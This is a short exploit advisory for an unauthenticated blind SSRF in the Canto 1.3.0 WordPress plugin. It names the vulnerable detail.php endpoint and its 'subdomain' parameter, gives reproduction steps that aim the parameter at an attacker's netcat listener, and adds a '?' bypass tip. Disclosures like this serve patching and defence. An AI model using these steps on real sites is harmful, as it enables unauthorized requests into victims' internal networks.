# Exploit Title: Wordpress Plugin Canto 1.3.0 - Blind SSRF (Unauthenticated)  
# Date: 03/12/2020  
# Exploit Author: Pankaj Verma (_p4nk4j)  
# Vendor Homepage:  
# Software Link:  
# Version: 1.3.0  
# Tested on: Ubuntu 18.04  
# CVE: CVE-2020-28976, CVE-2020-28977, CVE-2020-28978  
The Canto plugin 1.3.0 for WordPress contains Blind SSRF Vulnerabilities.  
It allows an unauthenticated attacker to make a request to any Internal and External Server via "subdomain" parameter.  
Vulnerable Parameters and Endpoints:-  
Steps To Reproduce:-  
1. Start a Netcat Listener on any port For e.g. 4499  
2. Navigate to "<wordpress_server>/wp-content/plugins/canto/includes/lib/detail.php?subdomain="  
3. Add the Attacker's IP and Port For e.g. "" to "subdomain=" parameter.  
4. Observe the response we got from the Target on Attacker's Listener.  
Note:- Using "?" in the payload is mandatory as it acts as a bypass to conduct this attack.